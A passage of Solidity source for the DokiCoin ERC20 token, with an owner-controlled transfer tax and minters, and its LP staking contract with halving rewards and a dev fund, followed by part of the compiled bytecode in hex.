this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract DokiCoinCore is ERC20("DokiDokiFinance", "DOKI") {
using SafeMath for uint256;
address internal _taxer;
address internal _taxDestination;
uint internal _taxRate = 0;
mapping (address => bool) internal _taxWhitelist;
function transfer(address recipient, uint256 amount) public override returns (bool) {
uint256 taxAmount = amount.mul(_taxRate).div(100);
if (_taxWhitelist[msg.sender] == true) {
taxAmount = 0;
}
uint256 transferAmount = amount.sub(taxAmount);
require(balanceOf(msg.sender) >= transferAmount, "insufficient balance.");
super.transfer(recipient, amount);
if (taxAmount != 0) {
super.transfer(_taxDestination, taxAmount);
}
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
uint256 taxAmount = amount.mul(_taxRate).div(100);
if (_taxWhitelist[sender] == true) {
taxAmount = 0;
}
uint256 transferAmount = amount.sub(taxAmount);
require(balanceOf(sender) >= transferAmount, "insufficient balance.");
super.transferFrom(sender, recipient, amount);
if (taxAmount != 0) {
super.transferFrom(sender, _taxDestination, taxAmount);
}
return true;
}
}
contract DokiCoin is DokiCoinCore, Ownable {
mapping (address => bool) public minters;
constructor() {
_taxer = owner();
_taxDestination = owner();
}
function mint(address to, uint amount) public onlyMinter {
_mint(to, amount);
}
function burn(uint amount) public {
require(amount > 0);
require(balanceOf(msg.sender) >= amount);
_burn(msg.sender, amount);
}
function addMinter(address account) public onlyOwner {
minters[account] = true;
}
function removeMinter(address account) public onlyOwner {
minters[account] = false;
}
modifier onlyMinter() {
require(minters[msg.sender], "Restricted to minters.");
_;
}
modifier onlyTaxer() {
require(msg.sender == _taxer, "Only for taxer.");
_;
}
function setTaxer(address account) public onlyTaxer {
_taxer = account;
}
function setTaxRate(uint256 rate) public onlyTaxer {
_taxRate = rate;
}
function setTaxDestination(address account) public onlyTaxer {
_taxDestination = account;
}
function addToWhitelist(address account) public onlyTaxer {
_taxWhitelist[account] = true;
}
function removeFromWhitelist(address account) public onlyTaxer {
_taxWhitelist[account] = false;
}
function taxer() public view returns(address) {
return _taxer;
}
function taxDestination() public view returns(address) {
return _taxDestination;
}
function taxRate() public view returns(uint256) {
return _taxRate;
}
function isInWhitelist(address account) public view returns(bool) {
return _taxWhitelist[account];
}
}
contract LPToDOKI is Ownable {
using SafeMath for uint256;
using SafeERC20 for DokiCoin;
using SafeERC20 for IERC20;
using Address for address;
DokiCoin private doki;
IERC20 private lpToken;
//LP token balances
mapping(address => uint256) private _lpBalances;
uint private _lpTotalSupply;
// halving period time
uint256 public constant DURATION = 2 weeks;
// initial amount of doki
uint256 public initReward = 13500 * 1e18;
bool public haveStarted = false;
// next time of halving
uint256 public halvingTime = 0;
uint256 public lastUpdateTime = 0;
// distribution of per second
uint256 public rewardRate = 0;
uint256 public rewardPerLPToken = 0;
mapping(address => uint256) private rewards;
mapping(address => uint256) private userRewardPerTokenPaid;
// Something about dev.
address public devAddr;
uint256 public devDistributeRate = 0;
uint256 public lastDistributeTime = 0;
uint256 public devFinishTime = 0;
uint256 public devFundAmount = 1820 * 1e18;
uint256 public devDistributeDuration = 180 days;
event Stake(address indexed from, uint amount);
event Withdraw(address indexed to, uint amount);
event Claim(address indexed to, uint amount);
event Halving(uint amount);
event Start(uint amount);
constructor(address _doki, address _lpToken) {
doki = DokiCoin(_doki);
lpToken = IERC20(_lpToken);
devAddr = owner();
}
function totalSupply() public view returns(uint256) {
return _lpTotalSupply;
}
function balanceOf(address account) public view returns(uint256) {
return _lpBalances[account];
}
function stake(uint amount) public shouldStarted {
updateRewards(msg.sender);
checkHalving();
require(!address(msg.sender).isContract(), "Please use your individual account.");
lpToken.safeTransferFrom(msg.sender, address(this), amount);
_lpTotalSupply = _lpTotalSupply.add(amount);
_lpBalances[msg.sender] = _lpBalances[msg.sender].add(amount);
distributeDevFund();
emit Stake(msg.sender, amount);
}
function withdraw(uint amount) public shouldStarted {
updateRewards(msg.sender);
checkHalving();
require(amount <= _lpBalances[msg.sender] && _lpBalances[msg.sender] > 0, "Bad withdraw.");
lpToken.safeTransfer(msg.sender, amount);
_lpTotalSupply = _lpTotalSupply.sub(amount);
_lpBalances[msg.sender] = _lpBalances[msg.sender].sub(amount);
distributeDevFund();
emit Withdraw(msg.sender, amount);
}
function claim(uint amount) public shouldStarted {
updateRewards(msg.sender);
checkHalving();
require(amount <= rewards[msg.sender] && rewards[msg.sender] > 0, "Bad claim.");
rewards[msg.sender] = rewards[msg.sender].sub(amount);
doki.safeTransfer(msg.sender, amount);
distributeDevFund();
emit Claim(msg.sender, amount);
}
function checkHalving() internal {
if (block.timestamp >= halvingTime) {
initReward = initReward.mul(50).div(100);
doki.mint(address(this), initReward);
rewardRate = initReward.div(DURATION);
halvingTime = halvingTime.add(DURATION);
updateRewards(msg.sender);
emit Halving(initReward);
}
}
modifier shouldStarted() {
require(haveStarted == true, "Have not started.");
_;
}
function getRewardsAmount(address account) public view returns(uint256) {
return balanceOf(account).mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function rewardPerToken() public view returns (uint256) {
if (_lpTotalSupply == 0) {
return rewardPerLPToken;
}
return rewardPerLPToken
.add(Math.min(block.timestamp, halvingTime)
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(_lpTotalSupply)
);
}
function updateRewards(address account) internal {
rewardPerLPToken = rewardPerToken();
lastUpdateTime = lastRewardTime();
if (account != address(0)) {
rewards[account] = getRewardsAmount(account);
userRewardPerTokenPaid[account] = rewardPerLPToken;
}
}
function lastRewardTime() public view returns (uint256) {
return Math.min(block.timestamp, halvingTime);
}
function startFarming() external onlyOwner {
updateRewards(address(0));
rewardRate = initReward.div(DURATION);
uint256 mintAmount = initReward.add(devFundAmount);
doki.mint(address(this), mintAmount);
devDistributeRate = devFundAmount.div(devDistributeDuration);
devFinishTime = block.timestamp.add(devDistributeDuration);
lastUpdateTime = block.timestamp;
lastDistributeTime = block.timestamp;
halvingTime = block.timestamp.add(DURATION);
haveStarted = true;
emit Start(mintAmount);
}
function transferDevAddr(address newAddr) public onlyDev {
require(newAddr != address(0), "zero addr");
devAddr = newAddr;
}
function distributeDevFund() internal {
uint256 nowTime = Math.min(block.timestamp, devFinishTime);
uint256 fundAmount = nowTime.sub(lastDistributeTime).mul(devDistributeRate);
doki.safeTransfer(devAddr, fundAmount);
lastDistributeTime = nowTime;
}
modifier onlyDev() {
require(msg.sender == devAddr, "This is only for dev.");
_;
}
function lpTokenAddress() view public returns(address) {
return address(lpToken);
}
function dokiAddress() view public returns(address) {
return address(doki);
}
function testMint() public onlyOwner {
doki.mint(address(this), 1);
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80638366a20511610104578063c6570d85116100a2578063dbe9345111610071578063dbe934511461055a578063f2fde38b146105b2578063f5ae497a146105f6578063fb0e487a1461062a576101cf565b8063c6570d85146104cc578063c8f33c91146104ea578063cd3daf9d14610508578063da09c72c14610526576101cf565b80639642ddaf116100de5780639642ddaf1461046c5780639bfffad714610476578063a694fc3a14610494578063afbcfea1146104c2576101cf565b80638366a205146103fc5780638da5cb5b1461041a5780639231cf741461044e576101cf565b80633cf6bcfe1161017157806370a082311161014b57806370a082311461035e578063715018a6146103b65780637b0a47ee146103c05780637d8033f5146103de576101cf565b80633cf6bcfe146102de5780633ef0cc7b146102fc5780634b438c3414610340576101cf565b806322eb9363116101ad57806322eb9363146102445780632e1a7d4d1461026257806335f50ade14610290578063379607f5146102b0576101cf565b806318160ddd146101d45780631be05289146101f25780631de656a514610210575b600080fd5b6101dc610648565b6040518082815260200191505060405180910390f35b6101fa610652565b6040518082815260200191505060405180910390f35b610218610659565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61024c610683565b6040518082815260200191505060405180910390f35b61028e6004803603602081101561027857600080fd5b8101908080359060200190929190505050610689565b005b610298610979565b60405180821515815260200191505060405180910390f35b6102dc600480360360208110156102c657600080fd5b810190808035906020019092919050505061098c565b005b6102e6610c61565b6040518082815260200191505060405180910390f35b61033e6004803603602081101561031257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c67565b005b610348610e11565b6040518082815260200191505060405180910390f35b6103a06004803603602081101561037457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e17565b6040518082815260200191505060405180910390f35b6103be610e60565b005b6103c8610fe6565b6040518082815260200191505060405180910390f35b6103e6610fec565b6040518082815260200191505060405180910390f35b610404610ff2565b6040518082815260200191505060405180910390f35b610422610ff8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610456611021565b6040518082815260200191505060405180910390f35b610474611034565b005b61047e6111aa565b6040518082815260200191505060405180910390f35b6104c0600480360360208110156104aa57600080fd5b81019080803590602001909291905050506111b0565b005b6104ca611417565b005b6104d4611684565b6040518082815260200191505060405180910390f35b6104f261168a565b6040518082815260200191505060405180910390f35b610510611690565b6040518082815260200191505060405180910390f35b61052e611722565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61059c6004803603602081101561057057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611748565b6040518082815260200191505060405180910390f35b6105f4600480360360208110156105c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061182f565b005b6105fe611a3a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610632611a64565b6040518082815260200191505060405180910390f35b6000600454905090565b6212750081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60075481565b60011515600660009054906101000a900460ff16151514610712576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f48617665206e6f7420737461727465642e00000000000000000000000000000081525060200191505060405180910390fd5b61071b33611a6a565b610723611b50565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111580156107b157506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4261642077697468647261772e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6108703382600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cb69092919063ffffffff16565b61088581600454611d5890919063ffffffff16565b6004819055506108dd81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610928611da2565b3373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364826040518082815260200191505060405180910390a250565b600660009054906101000a900460ff1681565b60011515600660009054906101000a900460ff16151514610a15576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f48617665206e6f7420737461727465642e00000000000000000000000000000081525060200191505060405180910390fd5b610a1e33611a6a565b610a26611b50565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111158015610ab457506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b610b26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f42616420636c61696d2e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b7881600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5890919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c083382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cb69092919063ffffffff16565b610c10611da2565b3373ffffffffffffffffffffffffffffffffffffffff167f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4826040518082815260200191505060405180910390a250565b600f5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f54686973206973206f6e6c7920666f72206465762e000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610dcd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f7a65726f2061646472000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e68611e59565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f28576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600e5481565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061102f42600754611e61565b905090565b61103c611e59565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f193060016040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561119057600080fd5b505af11580156111a4573d6000803e3d6000fd5b50505050565b60055481565b60011515600660009054906101000a900460ff16151514611239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f48617665206e6f7420737461727465642e00000000000000000000000000000081525060200191505060405180910390fd5b61124233611a6a565b61124a611b50565b6112693373ffffffffffffffffffffffffffffffffffffffff16611e7a565b156112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806125cf6023913960400191505060405180910390fd5b61130e333083600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e8d909392919063ffffffff16565b61132381600454611f4e90919063ffffffff16565b60048190555061137b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f4e90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c6611da2565b3373ffffffffffffffffffffffffffffffffffffffff167febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a826040518082815260200191505060405180910390a250565b61141f611e59565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6114e96000611a6a565b61150162127500600554611fd690919063ffffffff16565b6009819055506000611520601154600554611f4e90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156115b557600080fd5b505af11580156115c9573d6000803e3d6000fd5b505050506115e4601254601154611fd690919063ffffffff16565b600e819055506115ff60125442611f4e90919063ffffffff16565b6010819055504260088190555042600f819055506116296212750042611f4e90919063ffffffff16565b6007819055506001600660006101000a81548160ff0219169083151502179055507ff06a29c94c6f4edc1085072972d9441f7603e81c8535a308f214285d0653c850816040518082815260200191505060405180910390a150565b600a5481565b60085481565b60008060045414156116a657600a54905061171f565b61171c61170b6004546116fd670de0b6b3a76400006116ef6009546116e16008546116d342600754611e61565b611d5890919063ffffffff16565b61202090919063ffffffff16565b61202090919063ffffffff16565b611fd690919063ffffffff16565b600a54611f4e90919063ffffffff16565b90505b90565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611828600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a670de0b6b3a764000061180c6117f5600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e7611690565b611d5890919063ffffffff16565b6117fe88610e17565b61202090919063ffffffff16565b611fd690919063ffffffff16565b611f4e90919063ffffffff16565b9050919050565b611837611e59565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561197d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806125a96026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b611a72611690565b600a81905550611a80611021565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611b4d57611ac381611748565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a54600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b6007544210611cb457611b826064611b74603260055461202090919063ffffffff16565b611fd690919063ffffffff16565b600581905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19306005546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611c1d57600080fd5b505af1158015611c31573d6000803e3d6000fd5b50505050611c4d62127500600554611fd690919063ffffffff16565b600981905550611c6b62127500600754611f4e90919063ffffffff16565b600781905550611c7a33611a6a565b7ffafb0ec84dbe5a6bf08f4fec2f970b66d402032cdfea2008b11e11eb5c3990f06005546040518082815260200191505060405180910390a15b565b611d538363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506120a6565b505050565b6000611d9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612195565b905092915050565b6000611db042601054611e61565b90506000611ddd600e54611dcf600f5485611d5890919063ffffffff16565b61202090919063ffffffff16565b9050611e4e600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611cb69092919063ffffffff16565b81600f819055505050565b600033905090565b6000818310611e705781611e72565b825b905092915050565b600080823b905060008111915050919050565b611f48846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506120a6565b50505050565b600080828401905083811015611fcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061201883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612255565b905092915050565b60008083141561203357600090506120a0565b600082840290508284828161204457fe5b041461209b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806126186021913960400191505060405180910390fd5b809150505b92915050565b6060612108826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661231b9092919063ffffffff16565b90506000815111156121905780806020019051602081101561212957600080fd5b810190808051906020019092919050505061218f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612639602a913960400191505060405180910390fd5b5b505050565b6000838311158290612242576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122075780820151818401526020810190506121ec565b50505050905090810190601f1680156122345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612301576040517f08c379a00000000000000000000000000000000000